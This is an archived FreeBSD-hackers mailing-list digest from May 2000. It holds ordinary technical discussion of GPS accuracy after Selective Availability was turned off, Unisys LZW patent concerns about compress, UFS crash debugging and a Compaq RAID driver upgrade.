Comparison of Positions With and Without Selective Availability The Interagency GPS Executive Board
  • For general information about GPS, visit my GPS category of links and articles
  • Statement by the President Regarding the United States' Decision to Stop Degrading GPS Accuracy
  • Department of Commerce Fact Sheet on the Civilian Benefits of Discontinuing Selective Availability
  • Remarks at White House Press Conference
  • Comparison of Positions With and Without Selective Availability
  • The Interagency GPS Executive Board -- dursec.com / kyx.net - we're from the future http://www.dursec.com learn kanga-foo from security experts: CanSecWest - May 10-12 Vancouver Speakers: Ron Gula/NSW, Ken Williams/E&Y, Marty Roesch/Hiverworld, Fyodor/insecure.org, RainForestPuppy/wiretrip.net, Theo de Raadt/OpenBSD Lance Spitzner/Sun, Fyodor Yarochkin/KALUG, Max Vision/whitehats.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 11:45:38 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.surf1.de (mail.Surf1.de [194.25.165.21]) by hub.freebsd.org (Postfix) with ESMTP id 0D66A37BD85 for ; Wed, 3 May 2000 11:45:31 -0700 (PDT) (envelope-from alex@cichlids.com) Received: from cichlids.com (p3E9C1168.dip0.t-ipconnect.de [62.156.17.104]) by mail.surf1.de (8.9.3/8.9.3) with ESMTP id TAA26950; Wed, 3 May 2000 19:43:18 +0200 Received: from cichlids.cichlids.com (cichlids.cichlids.com [192.168.0.10]) by cichlids.com (Postfix) with ESMTP id 905CAAC2C; Wed, 3 May 2000 20:49:01 +0200 (CEST) Received: (from alex@localhost) by cichlids.cichlids.com (8.9.3/8.9.3) id UAA36160; Wed, 3 May 2000 20:44:30 +0200 (CEST) (envelope-from alex) Date: Wed, 3 May 2000 20:44:30 +0200 From: Alexander Langer To: Poul-Henning Kamp Cc: Matthew Dillon , hackers@FreeBSD.ORG Subject: Re: GPS heads up Message-ID: <20000503204430.A36122@cichlids.cichlids.com> References: <20000503201426.A35529@cichlids.cichlids.com> <2535.957378811@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <2535.957378811@critter.freebsd.dk>; from phk@critter.freebsd.dk on Wed, May 03, 2000 at 08:33:31PM +0200 X-PGP-Fingerprint: 44 28 CA 4C 46 5B D3 A8 A8 E3 BA F3 4E 60 7D 7F X-Verwirrung: Dieser Header dient der allgemeinen Verwirrung. Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thus spake Poul-Henning Kamp (phk@critter.freebsd.dk): > >> not supposed to know about how it works) which gives them an even more > >> interesting and powerful DOS on the GPS system. I doesn't quite work > >> by postal code, but it comes *very* close. > >what is a DOS?-) > Denial Of Service. Oh. DOS you mean :-) Well, that sounds bad. Alex -- I need a new ~/.sig. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 11:53:38 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from firehouse.net (spook.networkoperations.com [209.42.203.59]) by hub.freebsd.org (Postfix) with SMTP id 18C2937BD98 for ; Wed, 3 May 2000 11:53:30 -0700 (PDT) (envelope-from abc@firehouse.net) Received: (qmail 10777 invoked by uid 1000); 3 May 2000 18:53:25 -0000 Date: Wed, 3 May 2000 14:53:25 -0400 From: Alan Clegg To: Matthew Dillon Cc: hackers@FreeBSD.ORG Subject: Re: GPS heads up Message-ID: <20000503145325.A2285@ecto.greenpeas.org> References: <200005031744.KAA63550@apollo.backplane.com> <20000503195412.C846@jedi.wbnet> <200005031800.LAA63701@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200005031800.LAA63701@apollo.backplane.com>; from dillon@apollo.backplane.com on Wed, May 03, 2000 at 11:00:22AM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Out of the ether, Matthew Dillon spewed forth the following bitstream: > That's what my brother Ben told me, though he used the example of > an 18 wheeler plowing into my (airbagless) Subaru. I think he's going > to force me to buy a new car :-) Seeing his input to the FreeBSD community, I think we should take up a collection and buy Matt a new car with safety devices. Or, at least a bicycle helmet. AlanC -- \ Alan B. Clegg Just because I can \ abc@firehouse.net does not mean I will. \ \ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 11:53:41 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 3D23C37BD9B for ; Wed, 3 May 2000 11:53:35 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id LAA64004; Wed, 3 May 2000 11:48:13 -0700 (PDT) (envelope-from dillon) Date: Wed, 3 May 2000 11:48:13 -0700 (PDT) From: Matthew Dillon Message-Id: <200005031848.LAA64004@apollo.backplane.com> To: Poul-Henning Kamp Cc: Alexander Langer , hackers@FreeBSD.ORG Subject: Re: GPS heads up References: <2386.957377415@critter.freebsd.dk> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG : :In message <20000503200006.A35116@cichlids.cichlids.com>, Alexander Langer writ :es: :>Thus spake Matthew Dillon (dillon@apollo.backplane.com): :> :>> satellites sitting thousands of miles away in the sky. It's even more :>> impressive to see the government do something right for a change! :> :>It's much more idiotic that the government prevented it before. : :Well, they have added a new feature (which I can't talk about because I'm :not supposed to know about how it works) which gives them an even more :interesting and powerful DOS on the GPS system. I doesn't quite work :by postal code, but it comes *very* close. That's public knowledge. That is, if you are talking about the military's experiments with regional DOS on the GPS system. In fact, it's one of the reasons cited by the president for turning off SA. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 12:20:37 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from corinth.bossig.com (mail.dohboys.com [208.26.253.10]) by hub.freebsd.org (Postfix) with ESMTP id 99FEB37BE20 for ; Wed, 3 May 2000 12:20:29 -0700 (PDT) (envelope-from kstewart@3-cities.com) Received: from 3-cities.com (unverified [208.26.241.204]) by corinth.bossig.com (Rockliffe SMTPRA 4.2.1) with ESMTP id ; Wed, 3 May 2000 12:23:02 -0700 Message-ID: <39107B28.F1AB3DA7@3-cities.com> Date: Wed, 03 May 2000 12:16:56 -0700 From: Kent Stewart Organization: Columbia Basin Virtual Community Project X-Mailer: Mozilla 4.72 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Poul-Henning Kamp Cc: Matthew Dillon , hackers@FreeBSD.ORG Subject: Re: GPS heads up References: <2239.957376123@critter.freebsd.dk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Poul-Henning Kamp wrote: > > In message <200005031744.KAA63550@apollo.backplane.com>, Matthew Dillon writes: > > Ok, this has nothing to do with FreeBSD, but I just had to post > > something since nobody else has. > > > > By presidential order, on May 1 the error introduced into the GPS > > system, called 'SA', was turned off. > > > > This means that your GPS receivers are now around 5-10 times more accurate > > then they were before May 1st. > > This has nothing to do with FreeBSD unless you count NTP servers, > but actual data can be found on: > > http://212.242.40.185/cgi-bin/ppsoffset.cgi > It may not have anything to do with the OS FreeBSD but it has a lot to do with what we can do easily and for a really modest price. The techno-farms need to know where they are at in a field when they record data. The old offset error made it such that the operator knew where they were but the computer couldn't tell which field they were in. A simple differential was expensive. Now, you don't have the wild swings and two computers recording data using the GPS derived time may be close enough to record which plant they are taking data for. Kent > This is "gps.freebsd.dk" one of, if not the, most precise NTP stratum 1 > servers in the world: +/- 20nsec. > > -- > Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 > phk@FreeBSD.ORG | TCP/IP since RFC 956 > FreeBSD coreteam member | BSD since 4.3-tahoe > Never attribute to malice what can adequately be explained by incompetence. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message -- Kent Stewart Richland, WA mailto:kstewart@3-cities.com http://www.3-cities.com/~kstewart/index.html FreeBSD News http://daily.daemonnews.org/ SETI(Search for Extraterrestrial Intelligence) @ HOME http://setiathome.ssl.berkeley.edu/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 12:57:19 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.yogotech.com (ns.yogotech.com [206.127.123.66]) by hub.freebsd.org (Postfix) with ESMTP id BDAB637BE2D for ; Wed, 3 May 2000 12:57:15 -0700 (PDT) (envelope-from nate@yogotech.com) Received: from nomad.yogotech.com (nomad.yogotech.com [206.127.123.131]) by ns.yogotech.com (8.9.3/8.9.3) with ESMTP id NAA02186; Wed, 3 May 2000 13:57:09 -0600 (MDT) (envelope-from nate@nomad.yogotech.com) Received: (from nate@localhost) by nomad.yogotech.com (8.8.8/8.8.8) id NAA01354; Wed, 3 May 2000 13:57:08 -0600 (MDT) (envelope-from nate) Date: Wed, 3 May 2000 13:57:08 -0600 (MDT) Message-Id: <200005031957.NAA01354@nomad.yogotech.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Alexander Langer Cc: Matthew Dillon , hackers@FreeBSD.ORG Subject: Re: GPS heads up In-Reply-To: <20000503200006.A35116@cichlids.cichlids.com> References: <200005031744.KAA63550@apollo.backplane.com> <20000503200006.A35116@cichlids.cichlids.com> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@yogotech.com (Nate Williams) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > satellites sitting thousands of miles away in the sky. It's even more > > impressive to see the government do something right for a change! > > It's much more idiotic that the government prevented it before. > > That just means that military use is even better already, i.e. I just > imagine they are at 1m or less already. Actually, it's *REALLY* hard to get less than 1m accuracy using the frequencies that are currently in use. And, it's *really* easy to get better than standard if you're willing to spend a bit of $$, so I suspect the reason they turned it off is because anyone truly motivated can get better accuracy, so the only losers with SA are the consumers. My former employer (SRI) has done lots of research, and have gotten a receiver good to 1cm, but it takes about 24 hours for it to 'synchronize' to that accuracy. With dual receivers, you can get 2-3 mm accuracy by comparing the wavelength offsets, but it's really, really, really expensive to build the hardware, and there's very little practical use for that kind of accuracy. Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 13: 8:52 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from orion.ac.hmc.edu (Orion.AC.HMC.Edu [134.173.32.20]) by hub.freebsd.org (Postfix) with ESMTP id 6D88237B663 for ; Wed, 3 May 2000 13:08:50 -0700 (PDT) (envelope-from brdavis@orion.ac.hmc.edu) Received: (from brdavis@localhost) by orion.ac.hmc.edu (8.8.8/8.8.8) id NAA11043; Wed, 3 May 2000 13:07:59 -0700 (PDT) Date: Wed, 3 May 2000 13:07:59 -0700 From: Brooks Davis To: Nate Williams Cc: Alexander Langer , Matthew Dillon , hackers@FreeBSD.ORG Subject: Re: GPS heads up Message-ID: <20000503130759.A15403@orion.ac.hmc.edu> References: <200005031744.KAA63550@apollo.backplane.com> <20000503200006.A35116@cichlids.cichlids.com> <200005031957.NAA01354@nomad.yogotech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre4i In-Reply-To: <200005031957.NAA01354@nomad.yogotech.com>; from nate@yogotech.com on Wed, May 03, 2000 at 01:57:08PM -0600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, May 03, 2000 at 01:57:08PM -0600, Nate Williams wrote: > My former employer (SRI) has done lots of research, and have gotten a > receiver good to 1cm, but it takes about 24 hours for it to > 'synchronize' to that accuracy. With dual receivers, you can get 2-3 mm > accuracy by comparing the wavelength offsets, but it's really, really, > really expensive to build the hardware, and there's very little > practical use for that kind of accuracy. Actually, there's a physics professor any my old college does use that feature. He mounts them on buildings around SoCal with dataloggers to determine building movement due to earthquakes and general plate movement. -- Brooks -- Any statement of the form "X is the one, true Y" is FALSE. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 13:16: 2 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.surf1.de (mail.Surf1.de [194.25.165.21]) by hub.freebsd.org (Postfix) with ESMTP id E8A0037B533 for ; Wed, 3 May 2000 13:15:56 -0700 (PDT) (envelope-from alex@cichlids.com) Received: from cichlids.com (p3E9C1168.dip0.t-ipconnect.de [62.156.17.104]) by mail.surf1.de (8.9.3/8.9.3) with ESMTP id VAA27231; Wed, 3 May 2000 21:14:15 +0200 Received: from cichlids.cichlids.com (cichlids.cichlids.com [192.168.0.10]) by cichlids.com (Postfix) with ESMTP id E970FAC2C; Wed, 3 May 2000 22:19:58 +0200 (CEST) Received: (from alex@localhost) by cichlids.cichlids.com (8.9.3/8.9.3) id WAA37549; Wed, 3 May 2000 22:15:28 +0200 (CEST) (envelope-from alex) Date: Wed, 3 May 2000 22:15:28 +0200 From: Alexander Langer To: Brooks Davis Cc: Nate Williams , Matthew Dillon , hackers@FreeBSD.ORG Subject: Re: GPS heads up Message-ID: <20000503221528.A37472@cichlids.cichlids.com> References: <200005031744.KAA63550@apollo.backplane.com> <20000503200006.A35116@cichlids.cichlids.com> <200005031957.NAA01354@nomad.yogotech.com> <20000503130759.A15403@orion.ac.hmc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <20000503130759.A15403@orion.ac.hmc.edu>; from brooks@one-eyed-alien.net on Wed, May 03, 2000 at 01:07:59PM -0700 X-PGP-Fingerprint: 44 28 CA 4C 46 5B D3 A8 A8 E3 BA F3 4E 60 7D 7F X-Verwirrung: Dieser Header dient der allgemeinen Verwirrung. Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thus spake Brooks Davis (brooks@one-eyed-alien.net): > feature. He mounts them on buildings around SoCal with dataloggers to > determine building movement due to earthquakes and general plate > movement. 2-3 mm is exact enough for this? Alex -- I need a new ~/.sig. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 13:19:58 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.wrs.com (unknown-1-11.wrs.com [147.11.1.11]) by hub.freebsd.org (Postfix) with ESMTP id 03F5437BE10 for ; Wed, 3 May 2000 13:19:55 -0700 (PDT) (envelope-from davidhol@windriver.com) Received: from papermill.wrs.com (papermill [147.11.48.34]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id NAA19906; Wed, 3 May 2000 13:19:41 -0700 (PDT) Received: from papermill (localhost [127.0.0.1]) by papermill.wrs.com (8.9.1/8.9.0) with ESMTP id NAA19196; Wed, 3 May 2000 13:19:53 -0700 (PDT) Message-Id: <200005032019.NAA19196@papermill.wrs.com> To: Alexander Langer Cc: Nate Williams , Matthew Dillon , hackers@FreeBSD.ORG From: David Holloway Subject: Re: GPS heads up In-reply-to: Your message of "Wed, 03 May 2000 22:15:28 +0200." <20000503221528.A37472@cichlids.cichlids.com> Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Date: Wed, 03 May 2000 13:19:52 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG You are associating one persons accuracy numbers with someone elses experiments. In message <20000503221528.A37472@cichlids.cichlids.com>, Alexander Langer writ es: >Thus spake Brooks Davis (brooks@one-eyed-alien.net): > >> feature. He mounts them on buildings around SoCal with dataloggers to >> determine building movement due to earthquakes and general plate >> movement. > >2-3 mm is exact enough for this? > >Alex > >-- >I need a new ~/.sig. > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-hackers" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 13:22:52 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id DCC7937B533 for ; Wed, 3 May 2000 13:22:45 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id OAA21388 for ; Wed, 3 May 2000 14:22:43 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id OAA34064 for ; Wed, 3 May 2000 14:22:25 -0600 (MDT) Message-Id: <200005032022.OAA34064@harmony.village.org> Subject: Unisys Patent vs Compress To: hackers@freebsd.org Date: Wed, 03 May 2000 14:22:25 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It was my understanding that compress was covered by the unisys lzw patents. Are there issues with including it in the tree? Is there some license from Unisys that I'm unaware of that allows its use? Are we going to be a target of the Unisys legal department if we keep it in the tree. They are going after web sites with GIF right now. Is there anything that we need to worry about? Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 13:25:59 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.surf1.de (mail.Surf1.de [194.25.165.21]) by hub.freebsd.org (Postfix) with ESMTP id 131C437BDF3 for ; Wed, 3 May 2000 13:25:57 -0700 (PDT) (envelope-from alex@cichlids.com) Received: from cichlids.com (p3E9C1168.dip0.t-ipconnect.de [62.156.17.104]) by mail.surf1.de (8.9.3/8.9.3) with ESMTP id VAA31653; Wed, 3 May 2000 21:24:42 +0200 Received: from cichlids.cichlids.com (cichlids.cichlids.com [192.168.0.10]) by cichlids.com (Postfix) with ESMTP id 7D215AC2C; Wed, 3 May 2000 22:30:26 +0200 (CEST) Received: (from alex@localhost) by cichlids.cichlids.com (8.9.3/8.9.3) id WAA37783; Wed, 3 May 2000 22:25:55 +0200 (CEST) (envelope-from alex) Date: Wed, 3 May 2000 22:25:55 +0200 From: Alexander Langer To: David Holloway Cc: Nate Williams , Matthew Dillon , hackers@FreeBSD.ORG Subject: Re: GPS heads up Message-ID: <20000503222555.A37775@cichlids.cichlids.com> References: <20000503221528.A37472@cichlids.cichlids.com> <200005032019.NAA19196@papermill.wrs.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200005032019.NAA19196@papermill.wrs.com>; from davidhol@windriver.com on Wed, May 03, 2000 at 01:19:52PM -0700 X-PGP-Fingerprint: 44 28 CA 4C 46 5B D3 A8 A8 E3 BA F3 4E 60 7D 7F X-Verwirrung: Dieser Header dient der allgemeinen Verwirrung. Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thus spake David Holloway (davidhol@windriver.com): > You are associating one persons accuracy numbers with > someone elses experiments. Ah. So what are the prof's accuracy numbers? Alex -- I need a new ~/.sig. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 13:36:55 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from orion.ac.hmc.edu (Orion.AC.HMC.Edu [134.173.32.20]) by hub.freebsd.org (Postfix) with ESMTP id 6B07637B9C9; Wed, 3 May 2000 13:36:50 -0700 (PDT) (envelope-from brdavis@orion.ac.hmc.edu) Received: (from brdavis@localhost) by orion.ac.hmc.edu (8.8.8/8.8.8) id NAA22708; Wed, 3 May 2000 13:36:34 -0700 (PDT) Date: Wed, 3 May 2000 13:36:31 -0700 From: Brooks Davis To: Alexander Langer Cc: David Holloway , Nate Williams , Matthew Dillon , chat@freebsd.org Subject: Re: GPS heads up Message-ID: <20000503133631.B16023@orion.ac.hmc.edu> References: <20000503221528.A37472@cichlids.cichlids.com> <200005032019.NAA19196@papermill.wrs.com> <20000503222555.A37775@cichlids.cichlids.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre4i In-Reply-To: <20000503222555.A37775@cichlids.cichlids.com>; from alex@big.endian.de on Wed, May 03, 2000 at 10:25:55PM +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [Redirected to -chat where it belongs.] On Wed, May 03, 2000 at 10:25:55PM +0200, Alexander Langer wrote: > Thus spake David Holloway (davidhol@windriver.com): > > > You are associating one persons accuracy numbers with > > someone elses experiments. > > Ah. So what are the prof's accuracy numbers? I don't actually know. In any case, mm accuracy catches enough stuff to be intresting. The San Andreas fault moves about an inch a year IIRC. You can see a little bit about the research at: http://www.physics.hmc.edu/research/geo/gps_project.html -- Brooks -- Any statement of the form "X is the one, true Y" is FALSE. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 13:52:28 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 6348F37BE5F for ; Wed, 3 May 2000 13:52:23 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id OAA21513 for ; Wed, 3 May 2000 14:52:19 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id OAA34392 for ; Wed, 3 May 2000 14:52:00 -0600 (MDT) Message-Id: <200005032052.OAA34392@harmony.village.org> Subject: Re: Unisys Patent vs Compress To: hackers@freebsd.org In-reply-to: Your message of "Wed, 03 May 2000 14:22:25 MDT." Date: Wed, 03 May 2000 14:52:00 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG phk pointed me at http://mordor.lpt.fi/doc/ncompress/copyright which says that we're as safe as one can be. So forget that I mentioned it. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 14:13: 0 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 61E2537B825 for ; Wed, 3 May 2000 14:12:44 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from beppo.feral.com (beppo [192.67.166.79]) by feral.com (8.9.3/8.9.3) with ESMTP id OAA06544; Wed, 3 May 2000 14:12:05 -0700 Date: Wed, 3 May 2000 14:12:40 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Warner Losh Cc: hackers@FreeBSD.ORG Subject: Re: Unisys Patent vs Compress In-Reply-To: <200005032022.OAA34064@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Concern over LZW caused Legato to invent their own compression, so, I'd say, yes, there's concern. On Wed, 3 May 2000, Warner Losh wrote: > It was my understanding that compress was covered by the unisys lzw > patents. Are there issues with including it in the tree? Is there > some license from Unisys that I'm unaware of that allows its use? Are > we going to be a target of the Unisys legal department if we keep it > in the tree. They are going after web sites with GIF right now. Is > there anything that we need to worry about? > > Warner > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 14:24: 7 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id DEF6F37B565 for ; Wed, 3 May 2000 14:24:03 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from beppo.feral.com (beppo [192.67.166.79]) by feral.com (8.9.3/8.9.3) with ESMTP id OAA06596; Wed, 3 May 2000 14:23:23 -0700 Date: Wed, 3 May 2000 14:23:58 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Warner Losh Cc: hackers@FreeBSD.ORG Subject: Re: Unisys Patent vs Compress In-Reply-To: <200005032052.OAA34392@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG No, I'm afraid I can't quite agree. A major distinguishing feature of *BSD vs. GPL'd systems is that they can ship unencumbered. The article in the URL does not specifically show that *BSD, or products derived and containing, could *not* be so encumbered. So, yes, I'd still have some concerns. On Wed, 3 May 2000, Warner Losh wrote: > phk pointed me at > http://mordor.lpt.fi/doc/ncompress/copyright > > which says that we're as safe as one can be. So forget that I > mentioned it. > > Warner > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 14:26:30 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from xena.cs.waikato.ac.nz (xena.cs.waikato.ac.nz [130.217.241.20]) by hub.freebsd.org (Postfix) with ESMTP id 999F237BE27; Wed, 3 May 2000 14:26:17 -0700 (PDT) (envelope-from joerg@lucy.cs.waikato.ac.nz) Received: from lucy.cs.waikato.ac.nz (joerg@lucy.cs.waikato.ac.nz [130.217.241.12]) by xena.cs.waikato.ac.nz (8.9.3/8.9.3) with ESMTP id JAA11880; Thu, 4 May 2000 09:26:10 +1200 (NZST) Received: (from joerg@localhost) by lucy.cs.waikato.ac.nz (8.9.3/8.9.0) id JAA24298; Thu, 4 May 2000 09:26:07 +1200 (NZST) Date: Thu, 4 May 2000 09:26:07 +1200 From: Joerg Micheel To: Howard Leadmon Cc: freebsd-stable@freebsd.org, freebsd-hackers@freebsd.org, joerg@cs.waikato.ac.nz Subject: Re: Debugging Kernel/System Crashes, can anyone help?? Message-ID: <20000504092607.J11995@cs.waikato.ac.nz> References: <200005030748.DAA84934@account.abs.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii In-Reply-To: <200005030748.DAA84934@account.abs.net>; from Howard Leadmon on Wed, May 03, 2000 at 03:48:42AM -0400 Organization: SCMS, The University of Waikato, Hamilton, New Zealand Project: WAND - Waikato Applied Network Dynamics, DAG Operating-System: ... drained by Solaris 7 SPARC Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Howard, I'm facing the same problem. I am running 4.0-current / 4.0-stable on a Dual-PIII-733, 1GB RAM, 2 Adaptec, 300GB disk. I have had sudden crashes/reboots as bad as not even producing core dumps or dropping into kernel debugger. I had several guesses, one of which was the 64K block size on some of the disks I use. This proved to be wrong as I had a crash 2 days ago (again in UFS) from a chgrp -R across a large number of files (around 2GB of small stuff). Another guess that it is SMP related proved to be wrong when I compiled a uniprocessor kernel and the problem did not go away, it just occured an order of magnitude less frequently. The error pattern has changed since, I do get core dumps again. What is common to all of them is that they occur in UFS. My guess is that there is some sort of locking problem or locking race, but thats very vague. As for you, my knowlegde about the intrinsics of the file system is very limited. I repeat my offer to make the crashes I've got available to -hackers so they can have a more detailed look. Joerg -- Joerg B. Micheel Email: Waikato Applied Network Dynamics Phone: +64 7 8384794 The University of Waikato, CompScience Fax: +64 7 8585095 Private Bag 3105 Pager: +64 868 38222 Hamilton, New Zealand Plan: TINE and the DAG's To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 14:27: 3 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from sasami.jurai.net (sasami.jurai.net [63.67.141.99]) by hub.freebsd.org (Postfix) with ESMTP id 58E0B37BEB5 for ; Wed, 3 May 2000 14:26:48 -0700 (PDT) (envelope-from winter@jurai.net) Received: from localhost (winter@localhost) by sasami.jurai.net (8.9.3/8.8.7) with ESMTP id RAA23233; Wed, 3 May 2000 17:26:36 -0400 (EDT) Date: Wed, 3 May 2000 17:26:36 -0400 (EDT) From: "Matthew N. Dodd" To: "Christopher T. Griffiths" Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Upgrade from 3.4 to 4.0 with ida driver In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 3 May 2000, Christopher T. Griffiths wrote: > I sent this to freebsd-questions with no luck. I am desperately > trying to figure out this problem. I'll MFC the fix for this later this week. > Christopher T. Griffiths > Engineering Department > Quansoo Group Inc. > cgriffiths@quansoo.com > Hello everyone, > > I have been working for a good part of the day trying to get my compaq > system upgraded from 3.4 -stable to 4.0 -stable. > > I am using the following hardware: > > Compaq Proliant 1850R Server > Smart Array 3200 Controller > 1 Raid 1 array > > I have been running 3.4 for several months on this system with zero > problems. > > I have followed all of the Instructions in the Updating file and setup a > custom kernel configured to use the ata and ida 